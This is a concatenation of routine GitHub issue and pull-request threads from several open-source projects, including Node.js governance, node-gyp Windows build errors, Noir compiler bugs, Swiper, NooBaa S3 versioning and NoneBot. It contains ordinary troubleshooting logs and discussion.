Thanks for organizing this @jasnell. The questions asked make this process out to be a zero-sum game, which is dangerous thinking imho. I firmly believe this process is a non-zero sum game.
In other words: the merged Foundation is greater than the sum of it's parts and as a result will create new unforeseen value through opportunities & synergy (yes, synergy).
When coming at these results from that perspective they are much more reasonable. For example, additional questions like these could have balanced the "zero-sum" nature of the questions that were asked:

The proposed Foundation merger will create new opportunities.
The proposed Foundation merger will expand the Node.js ecosystem.
The proposed Foundation merger will benefit JavaScript.
The proposed Foundation merger will attract new collaborators to the Node.js project.

@indexzero ... fwiw, the questions asked were drawn directly from conversations I'd had with numerous top level committee members. I would not take any of the responses to indicate, "Hey! Don't do this merger thing!"... instead I would use it as an opportunity to see where the messaging and discussion around the proposal may need to apply additional focus and attention.

I agree with @indexzero that there is some potential for bias in terms of how the questions are phrased and how "Neither Agree nor Dis-Agree" is interpreted.  In any case interesting data to have.

@jasnell color suggestion: we group the colors into the agreements, disagreements and none. The current version really hard to read :(

The proposed Foundation merger will attract new collaborators to the Node.js project.

@indexzero, that also goes the other way, collaborators might shy away from a merged foundation (for varied reasons). Also AFAICT the foundation's impact on the number/diversity of new collaborators is minimal. For Node.js at least new collaborator recruitment and retention has been driven by the Org (i.e. the Body of current collaborators).

I think this is great for folks to see what areas we need to make sure to do extra work in to make sure concerns are being heard and knowledge is being shared so there's a better understanding of all moving parts in this. Better understanding means informed stakeholders for better dialogue and healthy decision-making together.
A few things: a number of these questions assume that folks have a full understanding of how things work in a foundation and how things would work in detailed execution(will the proposed merger will make it easier to provide resources to the Node.js project), which hasn't been fully defined yet... As a person who has worked -at- the foundation, I was painfully aware of how many people didn't know how a foundation operates. I spent a fair amount of my time trying to break those barriers down and talk about how the sausage gets made so that folks could better understand the work they don't want to do but needs to get done in order to keep resources flowing for the org. Just like some developers don't concern themselves in what business value their coding contributions derive for the company that employs them. I think we all have to be honest here in that some folks care tremendously about these details! And some don't. So asking everyone in the committees to share opinions on things they may not have spent the time to learn about can send muddy signals in a survey. I don't discount that this is an area that both foundations need to make sure to invest more time in so that folks can't say they weren't able to find out information(as much as can be shared of any business, even a nonprofit).
The elephant in the room to me in many of the conversations I have with folks individually and with many of the questions asked here is still --> "what value does a foundation bring to the Node.js project?" It's my belief and observation that we still have quite a bit of mismatch in expectations around what a foundation can and does provide and what is expected by Node.js project members with a foundation. A great example of this, as I've said prior, is who many of us are employed by and when we get to collaborate/contribute. We'd be programming in any other languages if the demand wasn't as high by lots of great employers for us to be working on Node.js.  The foundation and Board have done and continue to do a ton of work in this area(corp advocacy, networking, marketing, partnerships, etc) to get folks to pay many of us(not me these days) to do this work.  I'm happy to continue to have these conversations and chat one on one with people about what I think the answer to that question is. And I love to debate this!

As we appear to have consensus in the bootstrap team around how board seats will be allocated I'm going to close this.  Feel free to re-open or let me know that I should if this was closed prematurely

authors: MylesBorins hackygolucky indexzero jasnell mhdawson refack yorkie

repo: nodejs/bootstrap


text:
I can't install from npm install and I don't know fixe bug !

I work on windows 10
node v10.10.0
npm v6.4.1
and my error is

tunneling socket could not be established, cause=getaddrinfo ENOTFOUND proxyserverpac proxyserverpac:80
? Next, which style of NativeScript project would you like to use: Vue.js

node-sass@4.9.4 install D:\project\mobile\likelemba\node_modules\node-sass
node scripts/install.js

Downloading binary from https://github.com/sass/node-sass/releases/download/v4.9.4/win32-x64-64_binding.node
Cannot download "https://github.com/sass/node-sass/releases/download/v4.9.4/win32-x64-64_binding.node":
tunneling socket could not be established, cause=getaddrinfo ENOTFOUND proxyserverpac proxyserverpac:80
Hint: If github.com is not accessible in your location
try setting a proxy via HTTP_PROXY, e.g.
  export HTTP_PROXY=http://example.com:1234

or configure npm proxy via
  npm config set proxy http://example.com:8080

nativescript-dev-webpack@0.17.0 postinstall D:\project\mobile\likelemba\node_modules\nativescript-dev-webpack
node postinstall.js

Creating file: D:\project\mobile\likelemba\webpack.config.js
NativeScript Webpack plugin was successfully added.
You can now bundle your project by passing --bundle flag to NativeScript CLI commands:
- tns build android --bundle
- tns build ios --bundle
- tns run android --bundle
- tns run ios --bundle
You can also pass the "--env.uglify" flag to use UglifyJS for minification.
For more information check out https://docs.nativescript.org/tooling/bundling-with-webpack#bundling.

node-sass@4.9.4 postinstall D:\project\mobile\likelemba\node_modules\node-sass
node scripts/build.js

Building: C:\Program Files\nodejs\node.exe D:\project\mobile\likelemba\node_modules\node-gyp\bin\node-gyp.js rebuild --verbose --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=
gyp info it worked if it ends with ok
gyp verb cli [ 'C:\Program Files\nodejs\node.exe',
gyp verb cli   'D:\project\mobile\likelemba\node_modules\node-gyp\bin\node-gyp.js',
gyp verb cli   'rebuild',
gyp verb cli   '--verbose',
gyp verb cli   '--libsass_ext=',
gyp verb cli   '--libsass_cflags=',
gyp verb cli   '--libsass_ldflags=',
gyp verb cli   '--libsass_library=' ]
gyp info using node-gyp@3.8.0
gyp info using node@10.10.0 | win32 | x64
gyp verb command rebuild []
gyp verb command clean []
gyp verb clean removing "build" directory
gyp verb command configure []
gyp verb check python checking for Python executable "python2" in the PATH
gyp verb which failed Error: not found: python2
gyp verb which failed     at getNotFoundError (D:\project\mobile\likelemba\node_modules\which\which.js:13:12)
gyp verb which failed     at F (D:\project\mobile\likelemba\node_modules\which\which.js:68:19)
gyp verb which failed     at E (D:\project\mobile\likelemba\node_modules\which\which.js:80:29)
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\which\which.js:89:16
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\isexe\index.js:42:5
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\isexe\windows.js:36:5
gyp verb which failed     at FSReqWrap.oncomplete (fs.js:154:21)
gyp verb which failed  python2 { Error: not found: python2
gyp verb which failed     at getNotFoundError (D:\project\mobile\likelemba\node_modules\which\which.js:13:12)
gyp verb which failed     at F (D:\project\mobile\likelemba\node_modules\which\which.js:68:19)
gyp verb which failed     at E (D:\project\mobile\likelemba\node_modules\which\which.js:80:29)
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\which\which.js:89:16
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\isexe\index.js:42:5
gyp verb which failed     at D:\project\mobile\likelemba\node_modules\isexe\windows.js:36:5
gyp verb which failed     at FSReqWrap.oncomplete (fs.js:154:21)
gyp verb which failed   stack:
gyp verb which failed    'Error: not found: python2\n    at getNotFoundError (D:\project\mobile\likelemba\node_modules\which\which.js:13:12)\n    at F (D:\project\mobile\likelemba\node_modules\which\which.js:68:19)\n    at E (D:\project\mobile\likelemba\node_modules\which\which.js:80:29)\n    at D:\project\mobile\likelemba\node_modules\which\which.js:89:16\n    at D:\project\mobile\likelemba\node_modules\isexe\index.js:42:5\n    at D:\project\mobile\likelemba\node_modules\isexe\windows.js:36:5\n    at FSReqWrap.oncomplete (fs.js:154:21)',
gyp verb which failed   code: 'ENOENT' }
gyp verb check python checking for Python executable "python" in the PATH
gyp verb which succeeded python C:\Python27\python.EXE
gyp verb check python version C:\Python27\python.EXE -c "import sys; print "2.7.15 gyp verb check python version .%s.%s" % sys.version_info[:3];" returned: %j
gyp verb get node dir no --target version specified, falling back to host node version: 10.10.0
gyp verb command install [ '10.10.0' ]
gyp verb install input version string "10.10.0"
gyp verb install installing version: 10.10.0
gyp verb install --ensure was passed, so won't reinstall if already installed
gyp verb install version is already installed, need to check "installVersion"
gyp verb got "installVersion" 9
gyp verb needs "installVersion" 9
gyp verb install version is good
gyp verb get node dir target node version installed: 10.10.0
gyp verb build dir attempting to create "build" dir: D:\project\mobile\likelemba\node_modules\node-sass\build
gyp verb build dir "build" dir needed to be created? D:\project\mobile\likelemba\node_modules\node-sass\build
gyp verb find vs2017 Found installation at: C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools
gyp verb find vs2017   - Found Microsoft.VisualStudio.Component.VC.Tools.x86.x64
gyp verb find vs2017   - Found Microsoft.VisualStudio.VC.MSBuild.Base
gyp verb find vs2017   - Missing a Windows SDK (Microsoft.VisualStudio.Component.Windows10SDK.* or Microsoft.VisualStudio.Component.Windows81SDK)
gyp verb find vs2017   - Some required components are missing, not using this installation
gyp verb Not using VS2017: No usable installation of VS2017 found
gyp verb build/config.gypi creating config file
gyp verb build/config.gypi writing out config file: D:\project\mobile\likelemba\node_modules\node-sass\build\config.gypi
gyp verb config.gypi checking for gypi file: D:\project\mobile\likelemba\node_modules\node-sass\config.gypi
gyp verb common.gypi checking for gypi file: D:\project\mobile\likelemba\node_modules\node-sass\common.gypi
gyp verb gyp gyp format was not specified; forcing "msvs"
gyp info spawn C:\Python27\python.EXE
gyp info spawn args [ 'D:\project\mobile\likelemba\node_modules\node-gyp\gyp\gyp_main.py',
gyp info spawn args   'binding.gyp',
gyp info spawn args   '-f',
gyp info spawn args   'msvs',
gyp info spawn args   '-G',
gyp info spawn args   'msvs_version=2017',
gyp info spawn args   '-I',
gyp info spawn args   'D:\project\mobile\likelemba\node_modules\node-sass\build\config.gypi',
gyp info spawn args   '-I',
gyp info spawn args   'D:\project\mobile\likelemba\node_modules\node-gyp\addon.gypi',
gyp info spawn args   '-I',
gyp info spawn args   'C:\Users\Fabrice IYONGO\.node-gyp\10.10.0\include\node\common.gypi',
gyp info spawn args   '-Dlibrary=shared_library',
gyp info spawn args   '-Dvisibility=default',
gyp info spawn args   '-Dnode_root_dir=C:\Users\Fabrice IYONGO\.node-gyp\10.10.0',
gyp info spawn args   '-Dnode_gyp_dir=D:\project\mobile\likelemba\node_modules\node-gyp',
gyp info spawn args   '-Dnode_lib_file=C:\Users\Fabrice IYONGO\.node-gyp\10.10.0\<(target_arch)\node.lib',
gyp info spawn args   '-Dmodule_root_dir=D:\project\mobile\likelemba\node_modules\node-sass',
gyp info spawn args   '-Dnode_engine=v8',
gyp info spawn args   '--depth=.',
gyp info spawn args   '--no-parallel',
gyp info spawn args   '--generator-output',
gyp info spawn args   'D:\project\mobile\likelemba\node_modules\node-sass\build',
gyp info spawn args   '-Goutput_dir=.' ]
Traceback (most recent call last):
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\gyp_main.py", line 16, in
sys.exit(gyp.script_main())
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp_init_.py", line 545, in script_main
return main(sys.argv[1:])
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp_init_.py", line 538, in main
return gyp_main(args)
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp_init_.py", line 514, in gyp_main
options.duplicate_basename_check)
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp_init_.py", line 98, in Load
generator.CalculateVariables(default_variables, params)
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp\generator\msvs.py", line 1916, in CalculateVariables
generator_flags.get('msvs_version', 'auto'))
File "D:\project\mobile\likelemba\node_modules\node-gyp\gyp\pylib\gyp\MSVSVersion.py", line 434, in SelectVisualStudioVersion
versions = _DetectVisualStudioVersions(version_map[version], 'e' in version)
KeyError: '2017'
gyp ERR! configure error
gyp ERR! stack Error: gyp failed with exit code: 1
gyp ERR! stack     at ChildProcess.onCpExit (D:\project\mobile\likelemba\node_modules\node-gyp\lib\configure.js:345:16)
gyp ERR! stack     at ChildProcess.emit (events.js:182:13)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:240:12)
gyp ERR! System Windows_NT 10.0.17134
gyp ERR! command "C:\Program Files\nodejs\node.exe" "D:\project\mobile\likelemba\node_modules\node-gyp\bin\node-gyp.js" "rebuild" "--verbose" "--libsass_ext=" "--libsass_cflags=" "--libsass_ldflags=" "--libsass_library="
gyp ERR! cwd D:\project\mobile\likelemba\node_modules\node-sass
gyp ERR! node -v v10.10.0
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
Build failed with error code: 1
npm WARN extract-text-webpack-plugin@3.0.2 requires a peer of webpack@^3.1.0 but none is installed. You must install peer dependencies yourself.
npm WARN awesome-typescript-loader@5.2.1 requires a peer of typescript@^2.7 || ^3 but none is installed. You must install peer dependencies yourself.
npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@1.2.4 (node_modules\fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.4: wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! node-sass@4.9.4 postinstall: node scripts/build.js
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the node-sass@4.9.4 postinstall script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:
npm ERR!     C:\Users\Fabrice IYONGO\AppData\Roaming\npm-cache_logs\2018-11-09T10_57_55_710Z-debug.log
Command npm.cmd install failed with exit code 1

If I use "npm install -g nativescript" or "npm install -g @vue/cli @vue/cli-init" is working well but if I use "tns create" I have a bug !

same issue

gyp verb which failed Error: not found: python2

looks like the relevant part. node-gyp checks to make sure there is a python2 version installed to a lot of python code inside. There have been a few pull requests to start changing the dependency to python3 which may be more available https://github.com/nodejs/node-gyp/issues/1337

@Fabiyo-90  do you have MS Build Tools or VS Community Edition installed? (you can get MS Build Tools from https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=BuildTools)

I had something similar with other project.
In Windows the python will only have python in the path and it will be the latest installed python. In case there is Python 3 installed with python launcher then comes the option to use py -2 and py -3
As python 2.7 will not have executable of python2, then it will fail always on windows. It seems weird that there is assumption made that everyone are using Unix based systems where python2 and python3 is achieved through symlinking to correct binary.
The initial poster is saying they use Windows 10, that makes commands like
echo $PYTHON
python --version
python2 --version # legacy Python
python3 --version # Python
fairly pointless.
echo $PYTHON echos "$PYTHON" In windows it should be echo %PYTHON% if variable name is PYTHON, however it is not like that in windows.
python --version gives the version of first occurrence of python in the path.
python2 --version gives command not found
python3 --version gives command not found
Gyp should be made then compatible with windows.
First it tries python --version, if that returns python 2.7, all good, continue using python, if not, then try py -2 --version, if that works, then use py -2 as python executable. If both of them fail, then ask user to install python 2.7. Python launcher has also the possibility to list installed version with -0 or --list command line argument.

My bad.  You are of course correct.  I have never been a Windows user so I misspoke.  Apologies.  Thanks for the clarifications.

I have the same prroblem with node-sass 4.9.4.
On Windows 10 64bit I have only Python3 (it is probably 10 years that I use only Python 3).
Why this issue is closed, what is the solution?
All the related Bugs/Issues (make GYP compatible with Python 3) seem to be CLosed.

Don't wait... Just use https://github.com/refack/GYP today.
100 days until Python 2 end of life.

just update module gulp-sass to the latest version, add sass module to the package.json and write
const sass = require('gulp-sass')(require('sass'));

to the gulpfile.js to get rid off node-gyp.

authors: AlexByte AlexRiina Fabiyo-90 alex-piccione bzoz cclauss krisavi ramen-mukherjee

repo: nodejs/node-gyp


text:
Windows installation: Can't find "Visual C++ build tools" workload

Trying to install on windows with the instructions from the readme.
it says:
Install Visual C++ Build Environment: Visual Studio Build Tools (using "Visual C++ build tools" workload)
i install visual studio build tools 2019 16.11.11, and I see a workloads tab, but none of the options are called "Visual C++ build tools"
here are the options i am given:

am I missing something? did i install the wrong software? is it under a different name?

https://github.com/nodejs/node-gyp/blob/91eb407f8418235d51c72b6a8df9c454ba882554/README.md#L53-L55

You've probably already solved this problem but for anyone else using visual studio it's the "Desktop development with C++" workload.

@skeddles Can this issue be closed?

The readme should be updated for Windows, I ran into the same problem.

@StefanStojanovic Should both work or only the latter?

@raress96 Please make the appropriate edits at https://github.com/nodejs/node-gyp/edit/main/README.md which should create a pull request.

@StefanStojanovic Should both work or only the latter?

I left a comment in a PR, but basically, it depends on the version of the build tools you're installing. Both workloads are mutually exclusive and each is valid for certain versions of the build tools.

authors: StefanStojanovic SystemStack cclauss raress96 skeddles


text:
gyp: add missing extensions to compile_commands_json

Checklist

[x] npm install && npm test passes
[x] commit message follows commit guidelines

Description of change
Extends compile_commands_json generator to consider more file extensions
than just c and cc. This commit adds the cpp and cxx extensions to the
list of input source files.

sorry to do this but this needs to move over to https://github.com/nodejs/gyp-next which we vendor in here, we no longer touch the code in gyp/ except for pulling in new versions from over there.

authors: manuel-arguelles rvagg


text:
update vite to 0.31

Description
Problem*
Resolves https://github.com/AztecProtocol/dev-rel/issues/333
Summary*
Additional Context
PR Checklist*

[ ] I have tested the changes locally.
[ ] I have formatted the changes with Prettier and/or cargo fmt on default settings.

I will update with_foundry in another PR since that one looks like it is going to take a bit more work.

Thanks for updating it Josh!
Separately the team is working on getting NoirJS + UltraHonk Barretenberg ready in JS.
Will be exciting to put together a Honk version of the starter once it stablelizes a bit!

authors: Savio-Sou critesjosh

repo: noir-lang/noir-starter


text:
Calling trait method as a normal function panics

Aim
Attempted to call Add::add function without using a method call:
fn main() {
    let _ = std::ops::Add::add(
        1, 2
    );
}

Expected Behavior
Expected a user error
Bug
The application panicked (crashed).
Message:  assertion `left == right` failed
  left: 1
 right: 0
Location: compiler/noirc_evaluator/src/ssa/opt/inlining.rs:583

To Reproduce

Project Impact
None
Impact Context
No response
Workaround
Yes
Workaround Description
Bisect the program to find the error
Additional Context
No response
Installation Method
None
Nargo Version
nargo version = 0.31.0 noirc version = 0.31.0+45e82a672b9ba7f7326e8d9f8800e2489013e2e8 (git version hash: 45e82a672b9ba7f7326e8d9f8800e2489013e2e8, is dirty: false)
NoirJS Version
No response
Would you like to submit a PR for this Issue?
None
Support Needs
No response

This seems to be related to imports of traits somehow:
use std::cmp::Eq;

fn main() {
    let x: Field = 0 ;
    let _ = Eq::eq(x, x);
}

Works but the following does not:
fn main() {
    let x: Field = 0 ;
    let _ = std::cmp::Eq::eq(x, x);
}

authors: jfecher michaeljklein

repo: noir-lang/noir


text:
feat: Add full call stacks to runtime errors

Description

Problem*
Resolves #2214
Summary*
Adds full call stacks to runtime errors. I'll update this PR when it is ready to be merged with examples of what the new errors look like.
Documentation

[ ] This PR requires documentation updates when merged.

[ ] I will submit a noir-lang/docs PR.

[ ] I will request for and support Dev Rel's help in documenting this PR.

Additional Context

PR Checklist*

[x] I have tested the changes locally.
[x] I have formatted the changes with Prettier and/or cargo fmt on default settings.

I have a local commit that changes the errors to format as part of one error:
error: Failed constraint
   ┌─ /Users/jakefecher/Code/Noir/noir/short/src/main.nr:17:12
   │
17 │     assert(x == 246);
   │            --------
   │
   = Call stack:
     1. /Users/jakefecher/Code/Noir/noir/short/src/main
     2. /Users/jakefecher/Code/Noir/noir/short/src/main

But the issue is in generating the call stack string. Once codespan no longer handles the error spans, we have no way of converting the byte start and end offsets into line and column numbers. I'll push a commit tomorrow to add these by manually recounting them from the file contents.


text:
Navigation buttons are not working on Chrome

Hi, on the latest version, then navigation buttons (next, previous and paginations) seems to be not working in google chrome. The pagination changes the active slide but clicking on them, doesn't take me to the slide i have clicked. Also the next and previous buttons are not working. The issue is also on the main demo site: http://www.idangero.us/swiper
I have tried different browsers. Only google chrome has this problem.
Older versions still work for me. I don't know maybe the problem is only in my side? or anyone else have the same problem?

Can confirm no navigation buttons work (pagination, arrows, thumbnails, etc) on Chrome.
Version 43.0.2357.124 m

I have found something weird. It did not totally work for me last night. But now, only the next and prev buttons are working but the pagination still not working. And this problems are on chrome.
Maybe something wrong with cookie management of this plugin?

Well I just tested it with my laptop running chromium
Version 41.0.2272.76 Built on Ubuntu 14.04, running on elementary OS 0.3 (64-bit)
And everything worked fine.

Guys, it is known uncovered issue with only Chrome and only for Windows. Closing for now as duplicate of many other issues here (like #1152) and here http://www.idangero.us/swiper/forum/#!/bugs-and-issues:nextbuttonprevbutton-doesn

Just FYI this also happens on Ubuntu/OSX from time to time (Chrome and Chromium).

I had same problem, but fixed it by setting nextButton and prevButton properties.


text:
fix autoHeight to work correctly when used with centeredSlides param

resolves #3448

Hi! Thanks, but there is much simpler fix i pushed in 6deb1c7db9f845cb9d5c0fcff201d7ff1e030682


text:
[WIP] Slow Deploys

RFC
https://app.clickup.com/14205595/v/dc/dhgmv-10741/dhgmv-9921
Motivation
The current deploy script has high concurrency, submitting many transactions at a time for a single chain. There are two challenges with this:

For lower-quality chains, there are often nonce-related errors thrown (despite using NonceManager) - the mempool / nodes for the chain often don't handle this gracefully
For lower-quality RPCs, the number of concurrent requests can often cause rate limiting

Solution
Add a boolean flag to the deploy script which introduces the option to reduce intra-chain concurrency.
If this flag is set to true, the transactions submitted for each chain will be submitted sequentially, while concurrency will be maintained where possible between chains.
Example: all transactions to Rinkeby will be awaited one-by-one. Transactions to Goerli can be executed at the same time as transactions to Rinkeby.

PR Checklist

[ ] Added Tests
[ ] Updated Documentation
[ ] Updated CHANGELOG.md for the appropriate package

TODO:

[ ] add boolean flag which switches between concurrent & slow deploys

Closing as stale

authors: anna-carroll prestwich

repo: nomad-xyz/monorepo


text:
🛑 Uniprot is down

In 5716e33, Uniprot (ftp://ftp.uniprot.org/pub/databases/uniprot/current_release/knowledgebase/idmapping/by_organism/HUMAN_9606_idmapping_selected.tab.gz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Uniprot is back up in db4e474.

repo: nomisto/upptime


text:
有没有其他的办法安装此adapter？

在我的界面上，我只有QQ频道的选项，没有QQ的选项
nb adapter install qq(adapter-qq)下载的也是qqguild

可能你的nbcli版本太低或者命中了尚未刷新缓存的cdn，你可以使用pip来安装然后自行添加到pyproject配置内
请在激活虚拟环境后执行以下命令：
pip install nonebot-adapter-qq

authors: LsrlYrsc yanyongyu

repo: nonebot/adapter-qq


text:
修复在 sqlite 迁移时的报错

excutemary is not supported with RETURNIMG

所以直接删掉，不使用 returning 了。不过也许可以根据不同数据库做不同处理？
有点想把迁移脚本的测试弄出来了。

Codecov Report
Patch coverage has no change and project coverage change: -0.10% :warning:

Comparison is base (1cda631) 84.80% compared to head (c661ad4) 84.71%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #25      +/-   ##
==========================================
- Coverage   84.80%   84.71%   -0.10%
==========================================
  Files          22       22
  Lines         915      916       +1
==========================================
  Hits          776      776
- Misses        139      140       +1

Files Changed
Coverage Δ

...hatrecorder/migrations/902a51ac4032_add_session.py
52.54% <0.00%> (-0.91%)
:arrow_down:

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

repo: noneplugin/nonebot-plugin-chatrecorder


text:
GAP | NSFS | Versioning | List Object Version - Always Returns IsLatest true

Environment info

NooBaa Version: current master (5.14)
Platform: Rancher Desktop 1.19.0 (VM and cluster)

Actual behavior

We always return IsLatest true.

Expected behavior

Only the latest version should return IsLatest true.

Steps to reproduce
General Settings:

Change the configuration of NSFS Versioning to be Enabled in file config.js and change config.NSFS_VERSIONING_ENABLED to true.
Deploy noobaa system on minikube (Based on the instructions here - the steps of ‘Build images’ and ‘Deploy noobaa’).
Note: nb is an alias that runs the local operator from build/_output/bin (alias created by devenv).
Deploy NSFS on minikube (Based on the instructions here).

Steps:

Enabling versioning
aws --endpoint-url=https://localhost:12443 --no-verify-ssl s3api put-bucket-versioning --bucket fs1-jenia-bucket --versioning-configuration Status=Enabled
Put an object twice
 s3-nb-user-1 aws --endpoint-url=https://localhost:12443 --no-verify-ssl s3api put-object --bucket fs1-jenia-bucket --key fish.txt --body <some_txt_file>
 s3-nb-user-1 aws --endpoint-url=https://localhost:12443 --no-verify-ssl s3api put-object --bucket fs1-jenia-bucket --key fish.txt --body <some_txt_file>
List object versions:
aws --endpoint-url=https://localhost:12443 --no-verify-ssl s3api list-object-versions --bucket fs1-jenia-bucket

More information - Screenshots / Logs / Other output
Noobaa output:

AWS output:

@v-harihar knows about this gap, so I edited the title.

Please note that in addition to the object versions also multiple delete markers for a single object show IsLatest as true .
After deleting a single object, re-adding a new version and again deleting it:
...
    "DeleteMarkers": [
        {
            "Owner": {
                "DisplayName": "NooBaa",
                "ID": "123"
            },
            "Key": "key1",
            "VersionId": "mtime-d3lql1gt4ruo-ino-t1g",
            "IsLatest": true,
            "LastModified": "2024-08-21T16:39:42+00:00"
        },
        {
            "Owner": {
                "DisplayName": "NooBaa",
                "ID": "123"
            },
            "Key": "key1",
            "VersionId": "mtime-d3lqj85nwwlc-ino-t1e",
            "IsLatest": true,
            "LastModified": "2024-08-21T16:37:19+00:00"
        }
    ],
...

Closing this issue per Nadav's fix - @nadavMiz @8298

is this backported into 4.17, it is not available in the 4.17-0904 d/s build

@rkomandu
This is the link to check if a fix was backported to 5.17 - https://github.com/noobaa/noobaa-core/commits/5.17/
Search the PR's commit name - NSFS | NC | fix list-objecs-versions issues
and then you can see it was merged on September 4th (you need to hover the backport merge date- Merge pull request https://github.com/noobaa/noobaa-core/pull/8325 from liranmauda/liran-backport-into-5.17)

authors: hseipp rkomandu romayalon shirady

repo: noobaa/noobaa-core


text:
core.endpoint.sts.sts_rest:: STS ERROR , anonymous account and log4j error messages in s3_rest.js

Environment info

NooBaa Version: VERSION
Platform: Kubernetes 1.14.1 | minikube 1.1.1 | OpenShift 4.1 | other: specify

noobaa d/s 5.17.0-20241023 build (it is in all the builds of the 5.17.0-202410XX onwards looks like
Observed the errors and log4j related when the S3 service is stopped, hence opening this defect..
Just checking backward now the first occurrence in the noobaa.log is as shown below
Oct  9 00:40:46 node-gui1 node[3003970]: [/3003970] ESC[36m  [LOG]ESC[39m CONSOLE:: init_rand_seed: seeding with 32 bytes
Oct  9 00:40:58 node-gui1 [2820562]: [nsfs/2820562] ESC[33m [WARN]ESC[39m core.util.signature_utils:: Anonymous request: GET / {}
Oct  9 00:40:58 node-gui1 [2820562]: [nsfs/2820562] ESC[31m[ERROR]ESC[39m core.endpoint.sts.sts_rest:: STS ERROR <?xml version="1.0" encoding="UTF-8"?><Error>InternalFailure<Message>The request processing has failed because of an unknown error, exception or failure.</Message><Resource>/</Resource><RequestId>m21dtme3-9q546j-fbw</RequestId></Error> GET / {} Error: The request processing has failed because of an unknown error, exception or failure.    at parse_request_body (/usr/local/noobaa-core/src/util/http_utils.js:283:15)    at Object.read_and_parse_body (/usr/local/noobaa-core/src/util/http_utils.js:247:11)    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)    at async handle_request (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:83:5)    at async sts_rest (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:41:9)
Oct  9 00:40:58 node-gui1 [2820562]: [nsfs/2820562] ESC[33m [WARN]ESC[39m core.util.signature_utils:: Anonymous request: GET / {}
Oct  9 00:40:58 node-gui1 [2820562]: [nsfs/2820562] ESC[31m[ERROR]ESC[39m core.endpoint.s3.s3_rest:: S3 ERROR <?xml version="1.0" encoding="UTF-8"?><Error>InternalError<Message>We encountered an internal error. Please try again.</Message><Resource>/</Resource><RequestId>m21dtme5-9rdlag-zam</RequestId></Error> GET / {} TypeError: Cannot read properties of undefined (reading 'split')    at parse_bucket_and_key (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:305:31)    at populate_request_additional_info_or_redirect (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:174:28)    at handle_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:108:28)    at Object.s3_rest [as handler] (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:66:15)    at Server.endpoint_request_handler (/usr/local/noobaa-core/src/endpoint/endpoint.js:286:28)    at Server.emit (node:events:518:28)    at Server.emit (node:domain:488:12)    at parserOnIncoming (node:_http_server:1143:12)    at HTTPParser.parserOnHeadersComplete (node:_http_common:119:17)

Actual behavior

Following messages are observed in the noobaa.log and the gpfs.log as shown below

noobaa.log on the node
Nov  5 00:21:19 node-gui1 [1331512]: [nsfs/1331512] ESC[33m [WARN]ESC[39m core.util.signature_utils:: Anonymous request: GET / {}
Nov  5 00:21:19 node-gui1 [1331512]: [nsfs/1331512] ESC[31m[ERROR]ESC[39m core.endpoint.sts.sts_rest:: STS ERROR <?xml version="1.0" encoding="UTF-8"?><Error>InternalFailure<Message>The request processing has failed because of an unknown error, exception or failure.</Message><Resource>/</Resource><RequestId>m3405ihm-aj194m-680</RequestId></Error> GET / {} Error: The request processing has failed because of an unknown error, exception or failure.    at parse_request_body (/usr/local/noobaa-core/src/util/http_utils.js:283:15)    at Object.read_and_parse_body (/usr/local/noobaa-core/src/util/http_utils.js:247:11)    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)    at async handle_request (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:83:5)    at async sts_rest (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:41:9)
Nov  5 00:21:19 node-gui1 [1331512]: [nsfs/1331512] ESC[33m [WARN]ESC[39m core.util.signature_utils:: Anonymous request: GET / {}
Nov  5 00:21:19 node-gui1 [1331512]: [nsfs/1331512] ESC[31m[ERROR]ESC[39m core.endpoint.s3.s3_rest:: S3 ERROR <?xml version="1.0" encoding="UTF-8"?><Error>InternalError<Message>We encountered an internal error. Please try again.</Message><Resource>/</Resource><RequestId>m3405iic-ayluiw-1aru</RequestId></Error> GET / {} TypeError: Cannot read properties of undefined (reading 'split')    at parse_bucket_and_key (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:305:31)    at populate_request_additional_info_or_redirect (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:174:28)    at handle_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:108:28)    at Object.s3_rest [as handler] (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:66:15)    at Server.endpoint_request_handler (/usr/local/noobaa-core/src/endpoint/endpoint.js:286:28)    at Server.emit (node:events:518:28)    at Server.emit (node:domain:488:12)    at parserOnIncoming (node:_http_server:1143:12)    at HTTPParser.parserOnHeadersComplete (node:_http_common:119:17)

